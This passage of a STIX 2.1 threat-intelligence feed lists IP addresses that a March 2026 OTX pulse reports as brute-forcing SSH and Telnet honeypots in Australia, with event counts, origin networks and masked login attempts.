      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.88.76.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): ***, 1**4, 1********0, a******3, p*******1.",
      "id": "indicator--c8d71e2b-5d6d-45d6-8ed6-80b31a285781",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.188.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--ecbe3ce2-c549-4e47-bd95-b3852a957085",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.182.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4cb498e5-60a6-4441-b920-e1a20b915de4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.202.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a2bd3907-1651-445f-86a5-2bdafa7c825f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.227.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5.",
      "id": "indicator--57182509-aa89-402c-960a-ee96fd10b9f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.210.53.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 57354. Organisation(s): SYSTEMA Ltd. Usernames observed (masked): ***, 3**********4, b*******n, f*******1, k****l. Passwords observed (masked): 1**4, 3***********4, 3**********4, B***********!, k********!.",
      "id": "indicator--493fe279-f032-4f51-bb49-beabaa5a5a3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.228.135.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BF. ASN(s): 25543. Organisation(s): Onatel. Usernames observed (masked): ***, 3**********4, j***n, r**t, u***0. Passwords observed (masked): 1******2, 3***********4, 3**********4, d******3, g*******6.",
      "id": "indicator--ce81bc75-b31e-4ef9-aa4d-c1a3c357f91e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.28.242.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--fd8c1782-a683-42b0-97be-f2da25ba3d16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.78.107.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.137.148.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dcdb4eda-c88e-41f5-a259-ff66af9fcb74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.185.96.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133296. Organisation(s): Web Werks India Pvt. Ltd.. Usernames observed (masked): d********r, 3**********4, a*****r, ***, e******l. Passwords observed (masked): 1****6, ***, 1**4, 1***5, 3***********4.",
      "id": "indicator--54ef7b87-24cf-4ba6-8ef8-5b4c66e0298d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.108.220.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): p****a, 3**********4, f*******c, h**i, *. Passwords observed (masked): 3***********4, 3**********4, F**********3, S***********3, h******s.",
      "id": "indicator--a1952333-7e22-4c7c-8692-815a10dadd97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.63.25.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1145. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): d****y, a***n, d******r, a**x, ***. Passwords observed (masked): 1****6, ***, 1**4, 1******8, a******3.",
      "id": "indicator--ce74dfe6-08c7-479c-baa8-b85c95c47f3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.21.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, m***l, r**t, *, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1***5, 1******x.",
      "id": "indicator--3adde002-b7a0-43b5-9d66-bec21ccd3aac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--24e9bb38-4675-4ae5-ad10-4096bde62a0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.204.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7bea7f73-7a20-4984-a820-3f7377458f38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b496ecf6-24f0-4c63-b72a-9129d958c407",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.31.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3ef2bc79-cc3f-40be-abb4-1f2f37838d27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.7.195.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t, 3**********4, a***n, a**x, ***. Passwords observed (masked): 1**1, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--fcafcee8-bcc6-4b69-b045-2977f9827002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.186.20.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications. Usernames observed (masked): 3**********4, m***l, r**t, *, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1***5, 1******x.",
      "id": "indicator--27692f62-42d9-4af6-a1af-76d432c83f01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '70.65.44.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): 3**********4, ***, r**t, u********p, c****b. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1**4, P*********3.",
      "id": "indicator--719362d2-0d99-4724-9b60-d2015b1af53a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.63.176.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:15:14.000Z",
      "valid_until": "2026-04-16T17:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139988. Organisation(s): PT. GARUDA PRIMA INTERNETINDO. Usernames observed (masked): n**a, 3**********4, b****x, c****e, ***. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, a********..",
      "id": "indicator--7dd89a16-02e1-46a8-a76e-a101ed7dcf8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.148.100.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s******n. Passwords observed (masked): ***.",
      "id": "indicator--e73df476-6875-4e49-aa99-cda2cf340cf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--4d44dded-494a-4dea-bb73-9b9c1d1d0d02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.244.135.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3f6ba28a-51a0-4124-9ca6-f6cc0e21e095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.43.228.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ba55c749-9c81-4546-af80-724bd7451b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.138.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r*****o, 3**********4, a***********r, c******r, d*****t. Passwords observed (masked): p******d, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--32ef8a56-ff5c-4aeb-96c1-dd76cbd85a35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.155.40.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--3be1ff6d-1fb3-4b4b-ad7d-58d48f57e5ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.153.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:15:14.000Z",
      "valid_until": "2026-04-16T18:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, ***, 3**********4, 7***s, b****a. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, 7*******!.",
      "id": "indicator--825e34cb-9283-4543-be3a-ead1107f7e88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--701e3a49-aafa-4c05-be4c-2592dae0b99c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.161.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b3d2c344-38d0-4f1d-ae12-62dc6b0e283d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.171.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
